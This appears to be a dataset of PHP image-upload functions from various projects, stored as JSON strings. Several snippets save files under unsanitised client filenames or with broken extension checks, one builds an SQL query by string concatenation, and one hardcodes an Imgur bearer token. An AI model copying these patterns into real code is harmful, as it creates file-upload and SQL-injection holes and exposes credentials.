"public function actionUploadImageNews()\n {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/news/\".$filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location,PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\",\"jpeg\",\"png\");\n /* Check file extension */\n if( !in_array(strtolower($imageFileType),$valid_extensions) ) {\n $uploadOk = 0;\n }\n if($uploadOk == 0){\n echo 0;\n }else{\n /* Upload file */\n if(move_uploaded_file($_FILES['file']['tmp_name'],$location)){\n echo $filename;\n\n }else{\n // echo 0;\n }\n }\n }",
"public function upload(): void\n {\n // check if we have an old image\n if ($this->oldFileName !== null) {\n $this->removeOldFile();\n }\n\n if (!$this->hasFile()) {\n return;\n }\n\n $this->writeFileToDisk();\n\n $this->file = null;\n }",
"public function upload()\n {\n }",
"function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'user_upload';\n $data['ret_Url'] = 'user_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }",
"public function uploadImage()\n {\n return ImgUpload::uploadImage($this);\n }",
"public function uploadImageAction() {\r\n //GET SLIDESHOW ID\r\n $advancedslideshow_id = (int) $this->_getParam('advancedslideshow_id');\r\n\r\n //GET VIEWER INFORMATION\r\n if (!$this->_helper->requireUser()->checkRequire()) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Max file size limit exceeded (probably).');\r\n return;\r\n }\r\n \r\n if (!$this->getRequest()->isPost()) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Invalid request method');\r\n return;\r\n }\r\n\r\n $values = $this->getRequest()->getPost();\r\n if (empty($values['Filename'])) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('No file');\r\n return;\r\n }\r\n\r\n if (!isset($_FILES['Filedata']) || !is_uploaded_file($_FILES['Filedata']['tmp_name'])) {\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('Invalid Upload');\r\n return;\r\n }\r\n\r\n $db = Engine_Api::_()->getDbtable('images', 'advancedslideshow')->getAdapter();\r\n $db->beginTransaction();\r\n\r\n try {\r\n $params = array(\r\n 'advancedslideshow_id' => $advancedslideshow_id,\r\n 'user_id' => 1,\r\n );\r\n $this->view->status = true;\r\n include_once APPLICATION_PATH . '/application/modules/Advancedslideshow/controllers/license/license3.php';\r\n\r\n $db->commit();\r\n } catch (Exception $e) {\r\n $db->rollBack();\r\n $this->view->status = false;\r\n $this->view->error = Zend_Registry::get('Zend_Translate')->_('An error occurred.');\r\n return;\r\n }\r\n }",
"public function uploadImage() {\n // get the uploaded file instance. for multiple file uploads\n // the following data will return an array (you may need to use\n // getInstances method)\n $image = UploadedFile::getInstance($this, 'file');\n \n // if no image was uploaded abort the upload\n if (empty($image)) {\n return false;\n }\n \n // store the source file name\n //$this->filename = $image->name;\n $ext = end((explode(\".\", $image->name)));\n \n // generate a unique file name\n $this->imagen = Yii::$app->security->generateRandomString().\".{$ext}\";\n \n // the uploaded image instance\n return $image;\n }",
"private function uploadImagePost(Request $request){\n\t\t// Handles data\n\t\t$target = explode('.',$request->target);\n\t\t$class = '\\App\\\\'.ucwords($target[0]);\n\t\t$object = $class::find($request->id);\n\n\t\t// Handles image\n\t\t$image = \\Gumlet\\ImageResize::createFromString(base64_decode($request->data));\n\t\t$image->quality_jpg = 50;\n\n\t\t// Saving image\n\t\t$object->image = (string) $image;\n\t\t$object->save();\n\t}",
"public function upload() {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function uploadImage($formname) {\n if ($formname['size'] > 10240000) {\n redirect ('error');\n } \n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t$image = base64_encode(file_get_contents($formname['tmp_name']));\n\n $options = array('http'=>array(\n 'method'=>\"POST\",\n 'header'=>\"Authorization: Bearer fbec2d0f2c259944907341aeedb0a387f85fae12\\n\".\n \"Content-Type: application/x-www-form-urlencoded\",\n 'content'=>$image\n ));\n\n $context = stream_context_create($options);\n\n $imgurURL = \"https://api.imgur.com/3/image\";\n\n \n\n $response = file_get_contents($imgurURL, false, $context);\n\t\t\t\tif($response === false)\n\t\t\t\t{\t\n\t\t\t\t\t//echo \"<script type='text/javascript'>alert('Connection Error');</script>\";\n\t\t\t\t\tredirect ('error');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n $response = json_decode($response);\t\n\t\t\t\t$link=$response->data->link;\n\t\t\t\treturn $link;\n\t\t\t\t}\n\t\t\t\t}\n }",
"private function UploadImage() {\n switch ($this->File->type):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n $this->Image = imagecreatefromjpeg($this->File->tempName);\n break;\n case 'image/png':\n case 'image/x-png':\n $this->Image = imagecreatefrompng($this->File->tempName);\n break;\n endswitch;\n\n if (!$this->Image):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG ou PNG!';\n else:\n $x = imagesx($this->Image);\n $y = imagesy($this->Image);\n $ImageX = ( $this->Width < $x ? $this->Width : $x );\n $ImageH = ($ImageX * $y) / $x;\n\n $NewImage = imagecreatetruecolor($ImageX, $ImageH);\n imagealphablending($NewImage, false);\n imagesavealpha($NewImage, true);\n imagecopyresampled($NewImage, $this->Image, 0, 0, 0, 0, $ImageX, $ImageH, $x, $y);\n\n switch ($this->File->type):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n imagejpeg($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/png':\n case 'image/x-png':\n imagepng($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n endswitch;\n\n if (!$NewImage):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG ou PNG!';\n else:\n $this->Result = $this->Send . $this->Name;\n $this->Error = null;\n endif;\n\n imagedestroy($this->Image);\n imagedestroy($NewImage);\n endif;\n }",
"public function upload_postAction() {\n $ret = Common::upload('img', 'bgimg');\n $imgId = $this->getPost('imgId');\n $this->assign('code', $ret['data']);\n $this->assign('msg', $ret['msg']);\n $this->assign('data', $ret['data']);\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n exit();\n }",
"function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'coupon_upload';\n $data['ret_Url'] = 'coupon_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }",
"public function upload_postAction() {\r\n\t\t$ret = Common::upload('img', 'category');\r\n\t\t$imgId = $this->getPost('imgId');\r\n\t\t$this->assign('code' , $ret['data']);\r\n\t\t$this->assign('msg' , $ret['msg']);\r\n\t\t$this->assign('data', $ret['data']);\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}",
"public function uploadImage()\n {\n if ((isset($_FILES['image']['name']))\n && (!empty($_FILES['image']['name']))\n ) {\n try {\n $uploader = new Varien_File_Uploader('image');\n $uploader->setAllowedExtensions(array('jpg', 'jpeg', 'gif', 'png'));\n $uploader->setAllowRenameFiles(FALSE);\n $uploader->setFilesDispersion(FALSE);\n $path = Mage::getBaseDir('media') . DS . 'catalog' . DS . 'slidermanager';\n $uploader->save($path, $_FILES['image']['name']);\n\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')\n ->addError($e->getMessage());\n }\n\n return $_FILES['image']['name'];\n }\n\n return '';\n }",
"public function uploadImage(){\n\n $fileExt = explode('.', $this->fileName);\n $fileActualExt = strtolower(end($fileExt));\n $allowedExt = array('jpg', 'jpeg');\n\n if($this->fileError !== 0 && $this->fileSize > 8000 && !in_array($fileActualExt, $allowedExt)){\n return false;\n }\n $fileId = uniqid('', false).'.'.$fileActualExt;\n $fileDestination = '../api/image_entity/'.$fileId;\n\n $transfertDone = move_uploaded_file($this->fileTmp, $fileDestination);\n\n if($transfertDone){\n $app = App::getInstance();\n $systemManager = $app->getManager('System');\n $imageId = $systemManager->addImage($fileId);\n\n return $imageId;\n }\n\n }",
"function upload_img()\n {\n if ($this->isAdmin() == TRUE) {\n $this->loadThis();\n } else {\n $this->global['pageTitle'] = '上传图片';\n $this->global['pageName'] = 'carousel_upload';\n $data['ret_Url'] = 'carousel_edit';\n\n $this->loadViews(\"uploading_img\", $this->global, $data, NULL);\n }\n }",
"public function store(){\n $url_path = 'assets/imgs/' . $_FILES['file']['name'];\n move_uploaded_file($_FILES['file']['tmp_name'], $url_path);\n $_POST['url_image'] = $url_path;\n echo parent::register($_POST) ? header('location: ?controller=admin') : 'Error en el registro';\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n $this->picture = file_get_contents($this->getFile());\n\n if (isset($this->temp)) {\n $this->temp = null;\n }\n\n $this->file = null;\n }",
"public function actionUploadImageDepartment()\n {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/department/\" . $filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location, PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\", \"jpeg\", \"png\");\n /* Check file extension */\n if (!in_array(strtolower($imageFileType), $valid_extensions)) {\n $uploadOk = 0;\n }\n if ($uploadOk == 0) {\n echo 0;\n } else {\n /* Upload file */\n if (move_uploaded_file($_FILES['file']['tmp_name'], $location)) {\n echo $filename;\n } else {\n // echo 0;\n }\n }\n }",
"public function saveimageAction()\n {\n $response = $this->getResponse();\n\n $userid= $this->params()->fromPost('userid');\n $createdTime= $this->params()->fromPost('createdtime');\n $imageType = $this->params()->fromPost('imagetype');\n $imageType = substr($imageType, -3, 3);\n $AVAorCOV = $this->params()->fromPost('albumtype');\n\n $documentService = $this->getDocumentService();\n\n $successModel = new SuccessModel();\n $result = $successModel->saveNewImageAvatar($userid, $createdTime,$documentService, $imageType, $AVAorCOV );\n\n if($result)\n {\n return $response->setContent(\\Zend\\Json\\Json::encode(array(\n 'success' => 1,\n )));\n }\n else\n {\n return $response->setContent(\\Zend\\Json\\Json::encode(array(\n 'success' => 0,\n )));\n }\n }",
"public function upload_image($filename){\n // post the picture\n $data = $this->prepareImageData($filename);\n if($data) {\n $post = $this->sendRequest('media/upload/', true, $data, $this->agent, true);\n if (is_array($post) && count($post) == 2 && $post[0] == 200 && is_object(json_decode($post[1]))) {\n $media = json_decode($post[1]);\n return $media->media_id;\n } else {\n $error = json_decode($post[1]);\n $this->log($error);\n }\n }\n }",
"public function upload(): void\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }",
"public function upload()\n {\n $callback = 'null';\n $url = '';\n $get = array();\n \n // for form action, pull CKEditorFuncNum from GET string. e.g., 4 from\n // /form/upload?CKEditor=content&CKEditorFuncNum=4&langCode=en\n // Convert GET parameters to PHP variables\n $qry = $_SERVER['REQUEST_URI'];\n parse_str(substr($qry, strpos($qry, '?') + 1), $get);\n \n if (!isset($_POST) || !isset($get['CKEditorFuncNum'])) {\n $msg = 'CKEditor instance not defined. Cannot upload image.';\n } else {\n $callback = $get['CKEditorFuncNum'];\n \n try {\n $url = $this->_move_image($_FILES['upload']);\n $msg = \"File uploaded successfully to: {$url}\";\n \n // Persist additions to file manager CMS here.\n \n } catch (Exception $e) {\n $url = '';\n $msg = $e->getMessage();\n }\n }\n \n // Callback function that will insert image into the correct CKEditor instance\n $output = '<html><body><script type=\"text/javascript\">' .\n 'window.parent.CKEDITOR.tools.callFunction(' .\n $callback .\n ', \"' .\n $url .\n '\", \"' .\n $msg .\n '\");</script></body></html>';\n \n echo $output;\n }",
"public function uploadImage()\n {\n $params = Input::all();\n $user = $this->user->find_id_by_hash($params['user_hash']);\n $rules = [\n 'id' => 'required',\n 'num' => 'required',\n 'file' => 'required|image|max:10000000'\n ];\n $file = Input::file('file');\n $validator = Validator::make($params, $rules);\n $result['result'] = false;\n\n if($validator->passes() && !is_null($user))\n {\n if(Input::hasFile('file'))\n {\n // Call dirty girls class to upload submission image\n $result = $this->dirty_girls->uploadSubmissionImage($file);\n\n // Check if file was uploaded\n if($result['result'])\n {\n $submission = $this->submission->find($params['id']);\n if(!is_null($submission))\n {\n $updatePath = $this->dirty_girls->updateSubmissionImagePath($submission, $params['num'], $result['file']['name']);\n if(!$updatePath)\n {\n $result['result'] = false;\n }\n }\n }\n }\n }\n\n return Response::json($result);\n }",
"public function upload(){\n if( NULL === $this->getFile()){\n return;\n }\n $filename= $this->getFile()->getClientOriginalName();\n\n // Move to the target directory\n \n $this->getFile()->move(\n $this->getAbsolutePath(), \n $filename);\n\n //Set the logo\n $this->setFilename($filename);\n\n $this->setFile();\n\n }",
"public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->avatar)\n {\n return;\n }\n\n //Lastname du fichier\n $file = $this->id_user.'.'.$this->avatar->guessExtension();\n // move takes the target directory and then the target filename to move to\n $this->avatar->move($this->getUploadRootDir(), $file);\n //Suppression des thumbnail déjà en cache\n @unlink(__DIR__.'/../../../../../web/imagine/thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/avatar_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/moyen_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/mini_thumbnail/avatars/'.$file);\n\n // set the path property to the filename where you'ved saved the file\n $this->avatar = $file;\n }",
"private function uploadFile($entity)\n {\n if (!$entity instanceof Image) {\n return;\n }\n\n $file = $entity->getImagefile();\n // only upload new files\n if ($file instanceof UploadedFile) {\n $fileName = $this->uploader->upload($file);\n $entity->setImagefile($fileName);\n }\n }",
"public function invtZoneImgUplaod_post()\n {\n $data = $this->post();\n //print_r($data);\n //echo $data['kp_InventoryZoneID'];\n $inventoryZoneID = $data['kp_InventoryZoneID'];\n\n if(!empty($_FILES['file']['name']))\n {\n //echo \"not empty\";\n $msg = $this->inventoryzonemodel->doInvtZoneCustomUpload($inventoryZoneID);\n\n if($msg)\n {\n $this->response($msg, 200); // 200 being the HTTP response code\n }\n else\n {\n $this->response($msg, 404);\n }\n\n }\n\n\n\n }",
"public function postProjectImageUpload()\n\t{\n\t\t#Get project id\n\t\t$id = Input::get( \"id\" );\n\t\t$type = Input::get( \"type\" );\n\n\t\t#Move upload file\n\t\t$file = Input::file( 'file' );\n\t\t$file_name = $file->getClientOriginalName();\n\t\t$file_name = preg_replace( '/\\s+/', '', $file_name );\n\t\t$file->move( 'uploads/project_' . $this->_getTypeName( $type ), $file_name );\n\n\t\t//Store image to session\n\t\t$images_arr = Session::has( \"image[{$type}]\" ) ? Session::get( \"image[{$type}]\" ) : array();\n\t\t$image_item = array( 'image' => $file_name );\n\t\tarray_push( $images_arr, $image_item );\n\t\tSession::set( \"image[{$type}]\", $images_arr );\n\n\t\treturn $file_name;\n\t}",
"public static function addImg($myId){\n if ($_FILES[\"pic\"][\"error\"] > 0) {\n echo \"Return Code: \" . $_FILES[\"pic\"][\"error\"] . \"<br>\";\n } else {\n$conn = init_db();\n$url = uniqid();\n$sql='insert into images (u_id, url, ups) values ('.$myId.', \\''.$url.'.jpg\\', 0)';\n$res = mysqli_query($conn,$sql) or die(mysqli_error($conn).'failed query:'.__LINE__);\n$dest = __DIR__.\"/../img/usr/\" . $url.'.jpg';\necho 'moved to '.$dest;\nmove_uploaded_file($_FILES[\"pic\"][\"tmp_name\"],\n $dest);\n}\n}",
"public function uploadImage()\n {\n if($this->thumbnail){\n //hashing name of image by md5\n $name = md5(time().$this->thumbnail->baseName);\n $this->thumbnail->saveAs('upload/post/'.$name.'.'.$this->thumbnail->extension);\n $this->thumbnail = $name.'.'.$this->thumbnail->extension;\n return true;\n }else{\n return false;\n }\n }",
"public function UploadImage() {\n switch ($this->File['type']):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n $this->Image = imagecreatefromjpeg($this->File['tmp_name']);\n break;\n case 'image/png':\n case 'image/-x-png':\n $this->Image = imagecreatefrompng($this->File['tmp_name']);\n break;\n case 'image/gif':\n $this->Image = imagecreatefromgif($this->File['tmp_name']);\n break;\n endswitch;\n\n if (!$this->Image):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG, PNG ou GIF';\n else:\n $Largura_original = imagesx($this->Image);\n $Altura_original = imagesy($this->Image);\n $Largura_alvo = ($this->Width < $Largura_original ? $this->Width : $Largura_original);\n $Altura_nova = ($Largura_alvo * $Altura_original) / $Largura_original;\n\n $NewImage = imagecreatetruecolor($Largura_alvo, $Altura_nova);\n imagealphablending($NewImage, false);\n imagesavealpha($NewImage, true);\n imagecopyresampled($NewImage, $this->Image, 0, 0, 0, 0, $Largura_alvo, $Altura_nova, $Largura_original, $Altura_original);\n\n switch ($this->File['type']):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n imagejpeg($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/png':\n case 'image/-x-png':\n imagepng($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/gif':\n imagegif($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n endswitch;\n\n if (!$NewImage):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagem nos formatos, jpg, png ou gif';\n else:\n $this->Result = $this->Send . $this->Name;\n $this->Error = null;\n\n endif;\n\n imagedestroy($this->Image);\n imagedestroy($NewImage);\n endif;\n }",
"public function avatarUpload() \n {\n if (!isset($_SESSION)) { \n session_start(); \n }\n $avatarService = new AvatarService;\n $avatarService->avatarUpload($_FILES);\n header('Location: ?p=home');\n }",
"public function uploadImage($image){\n\t\t\n\t\t$ruta = \"../public/uploads/\";\n\t\tini_set(\"max_execution_time\",0);\n\t\t$handle->forbidden \t= array('application/*');\n\t\t$handle \t\t\t= new Upload($image);\n\t\t\n\t\tif( $handle->uploaded ){\n\t\t\t\n\t\t\t$path1 = $ruta;\t\n\t\t\tif (!file_exists(\"$path1\")){\n\t\t\t\tmkdir($path1,0777);\n\t\t\t}\n\t\t\t//original <<<<<---------------------------- VER SI PUEDO BORRAR\n\t\t\t$path_ori1 = $ruta.'original/';\n\t\t\tif (!file_exists(\"$path_ori1\")){\n\t\t\t\tmkdir($path_ori1,0777);\n\t\t\t}\n\t\t\t$imagename =\t$handle->Process($path_ori1);\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t// big-muro (height: 184px; width: 256px;)\n\t\t\t$path_big = $ruta.'big-post/';\n\t\t\t$handle->image_resize \t= true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n \t\t \tlist($org_width, $org_height) = getimagesize($image['tmp_name']);\n \t\t \t$handle->image_ratio_crop\t = true;\n\t\t\t$handle->image_resize = true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n\t\t\t$handle->image_x = 256;\n\t\t\t$handle->image_y = 184;\n\t\t\tif (!file_exists(\"$path_tapa\")){\n\t\t\t\tmkdir($path_tapa,0777);\n\t\t\t}\n\t\t\t$imagename = $handle->Process($path_big);\n\t\t\t\n\t\t\t// ampliada (width =\"758\" height =\"544\") \n\t\t\t$path_ampliada = $ruta.'ampliada/';\n\t\t\t$handle->image_resize \t= true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n \t\t \tlist($org_width, $org_height) = getimagesize($image['tmp_name']);\n \t\t \t$handle->image_ratio_crop\t = true;\n\t\t\t$handle->image_resize = true;\n\t\t\t$handle->image_ratio = true;\n \t\t \t$handle->jpeg_quality \t\t\t= 100;\n\t\t\t$handle->image_x = 658;\n\t\t\t$handle->image_y = 444;\n\t\t\tif (!file_exists(\"$path_tapa\")){\n\t\t\t\tmkdir($path_tapa,0777);\n\t\t\t}\n\t\t\t$imagename = $handle->Process($path_ampliada);\t\t\t\t\t\n\t\t\t\n\t\t\t$handle->Clean();\n\t\t\t\n\t\t}\n\t\t\n\t\treturn $imagename; \n\t\t\n\t}",
"function upload_image()\n {\n $file = $this->request->getFile('image');\n $fileName = $file->getRandomName();\n $file->move('./assets/img/beranda/post/inside', $fileName);\n echo base_url('assets/img/beranda/post/inside') . '/' . $fileName;\n }",
"function uploadImage($upload, $imgName, $category, $title, $description){\n\t\tglobal $image;\n\t\t\t\n\t\t$title .= imgName.rand(srand((double)microtime()*1000000),100);\n\t\t$description .= $imgName;\n\t\t$credit = $imgName;\n\t\t\t\n\t\t$image->setTitle($title);\n\t\t$image->setDescription($description);\n\t\t$image->setCredit($credit);\t\t\t\t\t\t\t\t\n\t\t$name = $image->generateName();\n\t\tif (!$name) {\n\t\t\t$feedback['message'][] = 'An image with that name already exists in the library';\n\t\t\t$feedback[0] = 'error';\n\t\t}\t\n\t\telse {\n\t\t\n\t\t\t$image->setCategory($category);\n\t\t\t$categoryOK = true;\n\t\t\t\n\t\t\t\n\t\t\t// Now -- take the image that's been uploaded, check it's there, set the original name, filesize and mime\t\t\t\t\t\t\n\t\t\tif (!$upload) {\n\t\t\t\t$feedback['message'] = 'There was a problem uploading your image. It may be too large.';\n\t\t\t\t$feedback[0] = 'error';\n\t\t\t}\n\t\t\telse if ($error = $image->getUploadError($upload['error'])) {\n\t\t\t\t$feedback['message'] = $error; \n\t\t\t\t$feedback[0] = 'error';\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\n\t\t\t\t// We now set the image dimensions, size and type\n\t\t\t\t// Do we need to check the filesize here, or is that covered in the preceding clauses?\n\t\t\t\n\t\t\t\tif (!$image->loadFromPost($upload)) {\n\t\t\t\t\t$feedback['message'][] = 'Your image is either not a GIF, JPEG or PNG, or it\\'s dimensions are too large.';\n\t\t\t\t\t$feedback['message'][] = 'The maximum length or width should be 800 pixels.';\n\t\t\t\t\t$feedback[0] = 'error';\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$writeOK = true;\n\t\t\t\t\t\n\t\t\t\t\t//// save the original image\n\t\t\t\t\t$image->resize('');\n\t\t\t\t\t// Save the image to disc\n\t\t\t\t\tif (!$writeOK = $image->write()) {\n\t\t\t\t\t\t$feedback[0] = 'error';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$image->create();\n\t\t\t\t\t$imgGUID = $image->getGUID();\n\t\t\t\t\n\t\t\t\t\tforeach ($image->sizes as $size) {\n\t\t\t\t\t\t//echo $size;\n\t\t\t\t\t\t$image->resize($size);\n\t\t\t\t\t\t// Save the image to disc\n\t\t\t\t\t\tif (!$writeOK = $image->write()) {\n\t\t\t\t\t\t\t$feedback[0] = 'error';\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Creates a new record in the database, with the original image as the parent.\n\t\t\t\t\t\t$image->create($imgGUID);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// create the thumbnail for the imagepicker\n\t\t\t\t\t$image->resize('100x100');\n\t\t\t\t\tif (!$writeOK = $image->write()) {\n\t\t\t\t\t\t$feedback[0] = 'error';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\t\t\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\tif (!$writeOK) {\n\t\t\t\t\t\t$feedback[0] = 'error';\n\t\t\t\t\t\t$feedback['message'] = 'Image cannot be saved to disk';\n\n\t\t\t\t\t}\n\n\t\t\t\t\telse {\n\t\t\t\t\t\t$image->close();\n\t\t\t\t\t\t$feedback[0] = 'success';\n\t\t\t\t\t\t$feedback['message'] = '';\n\t\t\t\t\t\t$feedback['guid'] = $imgGUID;\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\treturn $feedback;\n\t}",
"public function uploadImage() {\n // the following data will return an array (you may need to use\n // getInstances method)\n $imagen = UploadedFile::getInstance($this, 'imagen');\n\n // if no image was uploaded abort the upload\n if (empty($imagen)) {\n return false;\n }\n\n // store the source file name\n $this->filename = $imagen->name;\n $ext = end((explode(\".\", $imagen->name)));\n\n // generate a unique file name\n $this->avatar = Yii::$app->security->generateRandomString().\".{$ext}\";\n\n // the uploaded image instance\n return $imagen;\n }",
"function uploadImage($fieldName){\r\n \r\n // Undefined | Multiple Files | $_FILES Corruption Attack\r\n // If this request falls under any of them, treat it invalid.\r\n if ( !isset($_FILES[$fieldName]['error']) || is_array($_FILES[$fieldName]['error']) ) { \r\n throw new RuntimeException('Invalid parameters.');\r\n }\r\n\r\n // Check $_FILES['upfile']['error'] value.\r\n switch ($_FILES[$fieldName]['error']) {\r\n case UPLOAD_ERR_OK:\r\n break;\r\n case UPLOAD_ERR_NO_FILE:\r\n throw new RuntimeException('No file sent.');\r\n case UPLOAD_ERR_INI_SIZE:\r\n case UPLOAD_ERR_FORM_SIZE:\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n default:\r\n throw new RuntimeException('Unknown errors.');\r\n }\r\n \r\n // You should also check filesize here. \r\n if ($_FILES[$fieldName]['size'] > 1000000) {\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n }\r\n\r\n // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!\r\n // Check MIME Type by yourself.\r\n $finfo = new finfo(FILEINFO_MIME_TYPE);\r\n $validExts = array(\r\n 'jpg' => 'image/jpeg',\r\n 'png' => 'image/png',\r\n 'gif' => 'image/gif'\r\n ); \r\n $ext = array_search( $finfo->file($_FILES[$fieldName]['tmp_name']), $validExts, true );\r\n \r\n \r\n if ( false === $ext ) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n \r\n /* Alternative to getting file extention \r\n $name = $_FILES[\"upfile\"][\"name\"];\r\n $ext = strtolower(end((explode(\".\", $name))));\r\n if (preg_match(\"/^(jpeg|jpg|png|gif)$/\", $ext) == false) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n Alternative END */\r\n\r\n // You should name it uniquely.\r\n // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!\r\n // On this example, obtain safe unique name from its binary data.\r\n \r\n $fileName = sha1_file($_FILES[$fieldName]['tmp_name']); \r\n $location = sprintf('./uploads/%s.%s', $fileName, $ext); \r\n \r\n if (!is_dir('./uploads')) {\r\n mkdir('./uploads');\r\n }\r\n \r\n if ( !move_uploaded_file( $_FILES[$fieldName]['tmp_name'], $location) ) {\r\n throw new RuntimeException('Failed to move uploaded file.');\r\n }\r\n\r\n /* return the file name uploaded */\r\n return $fileName.'.'.$ext;\r\n}",
"public function postUpload()\n\t{\n\t\t$validator = Validator::make(Input::all(), array(\n\t\t\t'file' => 'image'\n\t\t));\n\t\t//kalo ada url make yang url, kalo ngga yang file\n\t\tif ($validator->fails()) {\n\t\t\treturn Redirect::to('/teaser/upload');\n\t\t}\n\n\t\tif (Input::hasFile('file'))\n {\n \t$folder = '/teaser_photo/';\n $path = public_path() . $folder;\n $filename = $original = Input::file('file')->getClientOriginalName();\n $extension = Input::file('file')->getClientOriginalExtension();\n if (File::exists($path . $filename))\n {\n $filename = time() . '_' . $original;\n }\n $file = Input::file('file')->move($path, $filename);\n\t\t\t\n\n\t\t\t$teaser = new Teaser;\n $teaser->teaser = $folder . $filename;\n $teaser->status = 1;\n $teaser->save();\n return Redirect::to('teaser');\n }\n\t}",
"public function addImage()\n {\n\t\t$user = $this->checkToken();\n\t\tif ($user) {\n\t\t\t$image = new ImageModel();\n\t\t\t$this->saveImageModel($image, $user);\n\t\t\treturn $this->sendResponse('Your image has been successfully uploaded');\n\t\t}\n\t\treturn $this->sendResponse('You are not authorised to add an image');\n }",
"function upload_image($parent_id){\n\t\tif(!is_numeric($parent_id)){\n\t\t\tredirect('site_security/not_allowed');\n\t\t}\n\t\t$this->load->library('session');\n // security form\n\t\t$this->load->module('site_security');\n\t\t$this->site_security->_make_sure_is_admin();\n // get id\n\n\t\t$data['parent_id'] = $parent_id;\n\t\t$data['flash'] = $this->session->flashdata('item');\n\n\t // submit handler\n\n\t\t$data['headline'] = 'upload image';\n //$data['stor_items'] = 'stor_items';\n\t\t$data['view_file'] = 'upload_image';\n\t\t$this->load->module('templates');\n\t\t$this->templates->admin($data);\n\t}",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->backgroundImage = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
